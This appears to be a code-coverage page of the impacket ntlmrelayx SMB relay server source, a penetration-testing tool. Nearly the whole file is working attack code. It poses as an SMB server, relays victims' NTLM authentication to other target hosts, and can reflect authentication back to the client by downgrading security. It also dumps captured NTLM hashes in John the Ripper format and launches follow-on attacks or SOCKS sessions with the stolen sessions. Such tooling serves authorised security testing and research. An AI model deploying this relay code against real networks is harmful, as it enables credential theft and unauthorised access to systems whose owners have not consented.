Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

341

342

343

344

345

346

347

348

349

350

351

352

353

354

355

356

357

358

359

360

361

362

363

364

365

366

367

368

369

370

371

372

373

374

375

376

377

378

379

380

381

382

383

384

385

386

387

388

389

390

391

392

393

394

395

396

397

398

399

400

401

402

403

404

405

406

407

408

409

410

411

412

413

414

415

416

417

418

419

420

421

422

423

424

425

426

427

428

429

430

431

432

433

434

435

436

437

438

439

440

441

442

443

444

445

446

447

448

449

450

451

452

453

454

455

456

457

458

459

460

461

462

463

464

465

466

467

468

469

470

471

472

473

474

475

476

477

478

479

480

481

482

483

484

485

486

487

488

489

490

491

492

493

494

495

496

497

498

499

500

501

502

503

504

505

506

507

508

509

510

511

512

513

514

515

516

517

518

519

520

521

522

523

524

525

526

527

528

529

530

531

532

533

534

535

536

537

538

539

540

541

542

543

544

545

546

547

548

549

550

551

552

553

554

555

556

557

558

559

560

561

562

563

564

565

566

567

568

569

570

571

572

573

574

575

576

577

578

579

580

581

582

583

584

585

586

587

588

589

590

591

592

593

594

595

596

597

598

599

600

601

602

603

604

605

606

607

608

609

610

611

612

613

614

615

616

617

618

619

620

621

622

623

624

625

626

627

628

629

630

631

632

633

634

635

636

637

638

639

640

641

642

643

644

645

646

647

648

649

650

651

652

653

654

655

656

657

658

659

660

661

662

663

664

665

666

667

668

669

# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

# 

# This software is provided under under a slightly modified version 

# of the Apache Software License. See the accompanying LICENSE file 

# for more information. 

# 

# SMB Relay Server 

# 

# Authors: 

# Alberto Solino (@agsolino) 

# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

# 

# Description: 

# This is the SMB server which relays the connections 

# to other protocols 

from __future__ import division 

from __future__ import print_function 

from threading import Thread 

try: 

import ConfigParser 

except ImportError: 

import configparser as ConfigParser 

import struct 

import logging 

import time 

import calendar 

import random 

import string 

import socket 

 

from binascii import hexlify 

from six import b 

from impacket import smb, ntlm, LOG, smb3 

from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS 

from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech 

from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile 

from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH 

from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 

from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 

from impacket.smbserver import getFileTime 

from impacket.dcerpc.v5 import transport, scmr 

from impacket.dcerpc.v5.rpcrt import DCERPCException 

 

class SMBRelayServer(Thread): 

def __init__(self,config): 

Thread.__init__(self) 

self.daemon = True 

self.server = 0 

#Config object 

self.config = config 

#Current target IP 

self.target = None 

#Targets handler 

self.targetprocessor = self.config.target 

#Username we auth as gets stored here later 

self.authUser = None 

self.proxyTranslator = None 

 

# Here we write a mini config for the server 

smbConfig = ConfigParser.ConfigParser() 

smbConfig.add_section('global') 

smbConfig.set('global','server_name','server_name') 

smbConfig.set('global','server_os','UNIX') 

smbConfig.set('global','server_domain','WORKGROUP') 

smbConfig.set('global','log_file','smb.log') 

smbConfig.set('global','credentials_file','') 

 

if self.config.smb2support is True: 

smbConfig.set("global", "SMB2Support", "True") 

else: 

smbConfig.set("global", "SMB2Support", "False") 

 

if self.config.outputFile is not None: 

smbConfig.set('global','jtr_dump_path',self.config.outputFile) 

 

# IPC always needed 

smbConfig.add_section('IPC$') 

smbConfig.set('IPC$','comment','') 

smbConfig.set('IPC$','read only','yes') 

smbConfig.set('IPC$','share type','3') 

smbConfig.set('IPC$','path','') 

 

# Change address_family to IPv6 if this is configured 

if self.config.ipv6: 

SMBSERVER.address_family = socket.AF_INET6 

 

# changed to dereference configuration interfaceIp 

if self.config.listeningPort: 

smbport = self.config.listeningPort 

else: 

smbport = 445 

 

self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig) 

logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) 

 

self.server.processConfigFile() 

 

self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate) 

self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX) 

 

self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate) 

self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup) 

# Let's use the SMBServer Connection dictionary to keep track of our client connections as well 

#TODO: See if this is the best way to accomplish this 

 

# changed to dereference configuration interfaceIp 

self.server.addConnection('SMBRelay', config.interfaceIp, 445) 

 

### SMBv2 Part ################################################################# 

def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): 

connData = smbServer.getConnectionData(connId, checkStatus=False) 

 

if self.config.mode.upper() == 'REFLECTION': 

self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) 

 

self.target = self.targetprocessor.getTarget() 

 

LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, 

self.target.netloc)) 

 

try: 

if self.config.mode.upper() == 'REFLECTION': 

# Force standard security when doing reflection 

LOG.debug("Downgrading to standard security") 

extSec = False 

#recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

else: 

extSec = True 

# Init the correct client for our target 

client = self.init_client(extSec) 

except Exception as e: 

LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 

self.targetprocessor.logTarget(self.target) 

else: 

connData['SMBClient'] = client 

connData['EncryptionKey'] = client.getStandardSecurityChallenge() 

smbServer.setConnectionData(connId, connData) 

 

respPacket = smb3.SMB2Packet() 

respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR 

respPacket['Status'] = STATUS_SUCCESS 

respPacket['CreditRequestResponse'] = 1 

respPacket['Command'] = smb3.SMB2_NEGOTIATE 

respPacket['SessionID'] = 0 

 

if isSMB1 is False: 

respPacket['MessageID'] = recvPacket['MessageID'] 

else: 

respPacket['MessageID'] = 0 

 

respPacket['TreeID'] = 0 

 

respSMBCommand = smb3.SMB2Negotiate_Response() 

 

# Just for the Nego Packet, then disable it 

respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED 

 

if isSMB1 is True: 

# Let's first parse the packet to see if the client supports SMB2 

SMBCommand = smb.SMBCommand(recvPacket['Data'][0]) 

 

dialects = SMBCommand['Data'].split(b'\x02') 

if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects: 

respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 

#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 

else: 

# Client does not support SMB2 fallbacking 

raise Exception('Client does not support SMB2, fallbacking') 

else: 

respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002 

#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21 

 

respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)])) 

respSMBCommand['Capabilities'] = 0 

respSMBCommand['MaxTransactSize'] = 65536 

respSMBCommand['MaxReadSize'] = 65536 

respSMBCommand['MaxWriteSize'] = 65536 

respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime())) 

respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime())) 

respSMBCommand['SecurityBufferOffset'] = 0x80 

 

blob = SPNEGO_NegTokenInit() 

blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'], 

TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

 

 

respSMBCommand['Buffer'] = blob.getData() 

respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer']) 

 

respPacket['Data'] = respSMBCommand 

 

smbServer.setConnectionData(connId, connData) 

 

return None, [respPacket], STATUS_SUCCESS 

 

 

def SmbSessionSetup(self, connId, smbServer, recvPacket): 

connData = smbServer.getConnectionData(connId, checkStatus = False) 

 

respSMBCommand = smb3.SMB2SessionSetup_Response() 

sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data']) 

 

connData['Capabilities'] = sessionSetupData['Capabilities'] 

 

securityBlob = sessionSetupData['Buffer'] 

 

rawNTLM = False 

if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID: 

# NEGOTIATE packet 

blob = SPNEGO_NegTokenInit(securityBlob) 

token = blob['MechToken'] 

if len(blob['MechTypes'][0]) > 0: 

# Is this GSSAPI NTLM or something else we don't support? 

mechType = blob['MechTypes'][0] 

if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \ 

mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']: 

# Nope, do we know it? 

if mechType in MechTypes: 

mechStr = MechTypes[mechType] 

else: 

mechStr = hexlify(mechType) 

smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL) 

# We don't know the token, we answer back again saying 

# we just support NTLM. 

# ToDo: Build this into a SPNEGO_NegTokenResp() 

respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a' 

respSMBCommand['SecurityBufferOffset'] = 0x48 

respSMBCommand['SecurityBufferLength'] = len(respToken) 

respSMBCommand['Buffer'] = respToken 

 

return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED 

elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH: 

# AUTH packet 

blob = SPNEGO_NegTokenResp(securityBlob) 

token = blob['ResponseToken'] 

else: 

# No GSSAPI stuff, raw NTLMSSP 

rawNTLM = True 

token = securityBlob 

 

# Here we only handle NTLMSSP, depending on what stage of the 

# authentication we are, we act on it 

messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

 

if messageType == 0x01: 

# NEGOTIATE_MESSAGE 

negotiateMessage = ntlm.NTLMAuthNegotiate() 

negotiateMessage.fromString(token) 

# Let's store it in the connection data 

connData['NEGOTIATE_MESSAGE'] = negotiateMessage 

 

############################################################# 

# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 

# Let's send it to the target server and send the answer back to the client. 

client = connData['SMBClient'] 

try: 

challengeMessage = self.do_ntlm_negotiate(client, token) 

except Exception as e: 

LOG.debug("Exception:", exc_info=True) 

# Log this target as processed for this client 

self.targetprocessor.logTarget(self.target) 

# Raise exception again to pass it on to the SMB server 

raise 

 

############################################################# 

 

if rawNTLM is False: 

respToken = SPNEGO_NegTokenResp() 

# accept-incomplete. We want more data 

respToken['NegResult'] = b'\x01' 

respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

 

respToken['ResponseToken'] = challengeMessage.getData() 

else: 

respToken = challengeMessage 

 

# Setting the packet to STATUS_MORE_PROCESSING 

errorCode = STATUS_MORE_PROCESSING_REQUIRED 

# Let's set up an UID for this connection and store it 

# in the connection's data 

connData['Uid'] = random.randint(1,0xffffffff) 

 

connData['CHALLENGE_MESSAGE'] = challengeMessage 

 

elif messageType == 0x02: 

# CHALLENGE_MESSAGE 

raise Exception('Challenge Message raise, not implemented!') 

 

elif messageType == 0x03: 

# AUTHENTICATE_MESSAGE, here we deal with authentication 

############################################################# 

# SMBRelay: Ok, so now the have the Auth token, let's send it 

# back to the target system and hope for the best. 

client = connData['SMBClient'] 

authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

authenticateMessage.fromString(token) 

if authenticateMessage['user_name'] != '': 

# For some attacks it is important to know the authenticated username, so we store it 

 

self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

authenticateMessage['user_name'].decode('utf-16le'))).upper() 

 

if rawNTLM is True: 

respToken2 = SPNEGO_NegTokenResp() 

respToken2['ResponseToken'] = securityBlob 

securityBlob = respToken2.getData() 

 

clientResponse, errorCode = self.do_ntlm_auth(client, token, 

connData['CHALLENGE_MESSAGE']['challenge']) 

else: 

# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 

errorCode = STATUS_ACCESS_DENIED 

 

if errorCode != STATUS_SUCCESS: 

#Log this target as processed for this client 

self.targetprocessor.logTarget(self.target) 

LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

authenticateMessage['user_name'].decode('utf-16le'))) 

client.killConnection() 

else: 

# We have a session, create a thread and do whatever we want 

LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

authenticateMessage['user_name'].decode('utf-16le'))) 

# Log this target as processed for this client 

self.targetprocessor.logTarget(self.target, True, self.authUser) 

 

ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 

authenticateMessage['user_name'], 

authenticateMessage['domain_name'], authenticateMessage['lanman'], 

authenticateMessage['ntlm']) 

client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

 

if self.server.getJTRdumpPath() != '': 

writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

self.server.getJTRdumpPath()) 

 

connData['Authenticated'] = True 

 

self.do_attack(client) 

# Now continue with the server 

############################################################# 

 

respToken = SPNEGO_NegTokenResp() 

# accept-completed 

respToken['NegResult'] = b'\x00' 

# Let's store it in the connection data 

connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 

else: 

raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 

 

respSMBCommand['SecurityBufferOffset'] = 0x48 

respSMBCommand['SecurityBufferLength'] = len(respToken) 

respSMBCommand['Buffer'] = respToken.getData() 

 

smbServer.setConnectionData(connId, connData) 

 

return [respSMBCommand], None, errorCode 

################################################################################ 

 

### SMBv1 Part ################################################################# 

def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): 

connData = smbServer.getConnectionData(connId, checkStatus = False) 

if self.config.mode.upper() == 'REFLECTION': 

self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) 

 

#TODO: Check if a cache is better because there is no way to know which target was selected for this victim 

# except for relying on the targetprocessor selecting the same target unless a relay was already done 

self.target = self.targetprocessor.getTarget() 

 

LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], 

self.target.scheme, self.target.netloc)) 

 

try: 

if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: 

extSec = False 

else: 

if self.config.mode.upper() == 'REFLECTION': 

# Force standard security when doing reflection 

LOG.debug("Downgrading to standard security") 

extSec = False 

recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) 

else: 

extSec = True 

 

#Init the correct client for our target 

client = self.init_client(extSec) 

except Exception as e: 

LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) 

self.targetprocessor.logTarget(self.target) 

else: 

connData['SMBClient'] = client 

connData['EncryptionKey'] = client.getStandardSecurityChallenge() 

smbServer.setConnectionData(connId, connData) 

 

return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket) 

############################################################# 

 

def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): 

 

connData = smbServer.getConnectionData(connId, checkStatus = False) 

 

respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 

 

if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: 

# Extended security. Here we deal with all SPNEGO stuff 

respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters() 

respData = smb.SMBSessionSetupAndX_Extended_Response_Data() 

sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters']) 

sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() 

sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength'] 

sessionSetupData.fromString(SMBCommand['Data']) 

connData['Capabilities'] = sessionSetupParameters['Capabilities'] 

 

if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID: 

# If there no GSSAPI ID, it must be an AUTH packet 

blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) 

token = blob['ResponseToken'] 

else: 

# NEGOTIATE packet 

blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) 

token = blob['MechToken'] 

 

# Here we only handle NTLMSSP, depending on what stage of the 

# authentication we are, we act on it 

messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] 

 

if messageType == 0x01: 

# NEGOTIATE_MESSAGE 

negotiateMessage = ntlm.NTLMAuthNegotiate() 

negotiateMessage.fromString(token) 

# Let's store it in the connection data 

connData['NEGOTIATE_MESSAGE'] = negotiateMessage 

 

############################################################# 

# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 

# Let's send it to the target server and send the answer back to the client. 

client = connData['SMBClient'] 

try: 

challengeMessage = self.do_ntlm_negotiate(client,token) 

except Exception: 

# Log this target as processed for this client 

self.targetprocessor.logTarget(self.target) 

# Raise exception again to pass it on to the SMB server 

raise 

 

############################################################# 

 

respToken = SPNEGO_NegTokenResp() 

# accept-incomplete. We want more data 

respToken['NegResult'] = b'\x01' 

respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] 

respToken['ResponseToken'] = challengeMessage.getData() 

 

# Setting the packet to STATUS_MORE_PROCESSING 

errorCode = STATUS_MORE_PROCESSING_REQUIRED 

 

# Let's set up an UID for this connection and store it 

# in the connection's data 

# Picking a fixed value 

# TODO: Manage more UIDs for the same session 

connData['Uid'] = 10 

 

connData['CHALLENGE_MESSAGE'] = challengeMessage 

 

elif messageType == 0x03: 

# AUTHENTICATE_MESSAGE, here we deal with authentication 

############################################################# 

# SMBRelay: Ok, so now the have the Auth token, let's send it 

# back to the target system and hope for the best. 

client = connData['SMBClient'] 

authenticateMessage = ntlm.NTLMAuthChallengeResponse() 

authenticateMessage.fromString(token) 

 

if authenticateMessage['user_name'] != '': 

#For some attacks it is important to know the authenticated username, so we store it 

self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), 

authenticateMessage['user_name'].decode('utf-16le'))).upper() 

 

clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'], 

connData['CHALLENGE_MESSAGE']['challenge']) 

else: 

# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 

errorCode = STATUS_ACCESS_DENIED 

 

if errorCode != STATUS_SUCCESS: 

# Let's return what the target returned, hope the client connects back again 

packet = smb.NewSMBPacket() 

packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 

packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 

packet['Command'] = recvPacket['Command'] 

packet['Pid'] = recvPacket['Pid'] 

packet['Tid'] = recvPacket['Tid'] 

packet['Mid'] = recvPacket['Mid'] 

packet['Uid'] = recvPacket['Uid'] 

packet['Data'] = b'\x00\x00\x00' 

packet['ErrorCode'] = errorCode >> 16 

packet['ErrorClass'] = errorCode & 0xff 

 

LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % ( 

self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

authenticateMessage['user_name'].decode('utf-16le'))) 

 

#Log this target as processed for this client 

self.targetprocessor.logTarget(self.target) 

 

client.killConnection() 

 

return None, [packet], errorCode 

else: 

# We have a session, create a thread and do whatever we want 

LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), 

authenticateMessage['user_name'].decode('utf-16le'))) 

 

# Log this target as processed for this client 

self.targetprocessor.logTarget(self.target, True, self.authUser) 

 

ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'], 

authenticateMessage['user_name'], 

authenticateMessage['domain_name'], 

authenticateMessage['lanman'], authenticateMessage['ntlm']) 

client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

 

if self.server.getJTRdumpPath() != '': 

writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

self.server.getJTRdumpPath()) 

 

self.do_attack(client) 

# Now continue with the server 

############################################################# 

 

respToken = SPNEGO_NegTokenResp() 

# accept-completed 

respToken['NegResult'] = b'\x00' 

 

# Status SUCCESS 

errorCode = STATUS_SUCCESS 

# Let's store it in the connection data 

connData['AUTHENTICATE_MESSAGE'] = authenticateMessage 

else: 

raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 

 

respParameters['SecurityBlobLength'] = len(respToken) 

 

respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 

respData['SecurityBlob'] = respToken.getData() 

 

else: 

# Process Standard Security 

#TODO: Fix this for other protocols than SMB [!] 

respParameters = smb.SMBSessionSetupAndXResponse_Parameters() 

respData = smb.SMBSessionSetupAndXResponse_Data() 

sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) 

sessionSetupData = smb.SMBSessionSetupAndX_Data() 

sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] 

sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] 

sessionSetupData.fromString(SMBCommand['Data']) 

 

client = connData['SMBClient'] 

_, errorCode = client.sendStandardSecurityAuth(sessionSetupData) 

 

if errorCode != STATUS_SUCCESS: 

# Let's return what the target returned, hope the client connects back again 

packet = smb.NewSMBPacket() 

packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS 

packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY 

packet['Command'] = recvPacket['Command'] 

packet['Pid'] = recvPacket['Pid'] 

packet['Tid'] = recvPacket['Tid'] 

packet['Mid'] = recvPacket['Mid'] 

packet['Uid'] = recvPacket['Uid'] 

packet['Data'] = b'\x00\x00\x00' 

packet['ErrorCode'] = errorCode >> 16 

packet['ErrorClass'] = errorCode & 0xff 

 

#Log this target as processed for this client 

self.targetprocessor.logTarget(self.target) 

 

# Finish client's connection 

#client.killConnection() 

 

return None, [packet], errorCode 

else: 

# We have a session, create a thread and do whatever we want 

LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % ( 

self.target.scheme, self.target.netloc, sessionSetupData['PrimaryDomain'], 

sessionSetupData['Account'])) 

 

self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper() 

 

# Log this target as processed for this client 

self.targetprocessor.logTarget(self.target, True, self.authUser) 

 

ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], 

sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) 

client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data 

 

if self.server.getJTRdumpPath() != '': 

writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], 

self.server.getJTRdumpPath()) 

 

self.do_attack(client) 

# Now continue with the server 

############################################################# 

 

respData['NativeOS'] = smbServer.getServerOS() 

respData['NativeLanMan'] = smbServer.getServerOS() 

respSMBCommand['Parameters'] = respParameters 

respSMBCommand['Data'] = respData 

 

# From now on, the client can ask for other commands 

connData['Authenticated'] = True 

 

smbServer.setConnectionData(connId, connData) 

 

return [respSMBCommand], None, errorCode 

################################################################################ 

 

#Initialize the correct client for the relay target 

def init_client(self,extSec): 

if self.target.scheme.upper() in self.config.protocolClients: 

client = self.config.protocolClients[self.target.scheme.upper()](self.config, self.target, extendedSecurity = extSec) 

client.initConnection() 

else: 

raise Exception('Protocol Client for %s not found!' % self.target.scheme) 

 

 

return client 

 

def do_ntlm_negotiate(self,client,token): 

#Since the clients all support the same operations there is no target protocol specific code needed for now 

return client.sendNegotiate(token) 

 

def do_ntlm_auth(self,client,SPNEGO_token,challenge): 

#The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB 

clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge) 

 

return clientResponse, errorCode 

 

def do_attack(self,client): 

#Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties 

# Check if SOCKS is enabled and if we support the target scheme 

if self.config.runSocks and self.target.scheme.upper() in self.config.socksServer.supportedSchemes: 

if self.config.runSocks is True: 

# Pass all the data to the socksplugins proxy 

activeConnections.put((self.target.hostname, client.targetPort, self.target.scheme.upper(), 

self.authUser, client, client.sessionData)) 

return 

 

# If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks 

if self.target.scheme.upper() in self.config.attacks: 

# We have an attack.. go for it 

clientThread = self.config.attacks[self.target.scheme.upper()](self.config, client.session, self.authUser) 

clientThread.start() 

else: 

LOG.error('No attack configured for %s' % self.target.scheme.upper()) 

 

def _start(self): 

self.server.daemon_threads=True 

self.server.serve_forever() 

LOG.info('Shutting down SMB Server') 

self.server.server_close() 

 

def run(self): 

LOG.info("Setting up SMB Server") 

self._start()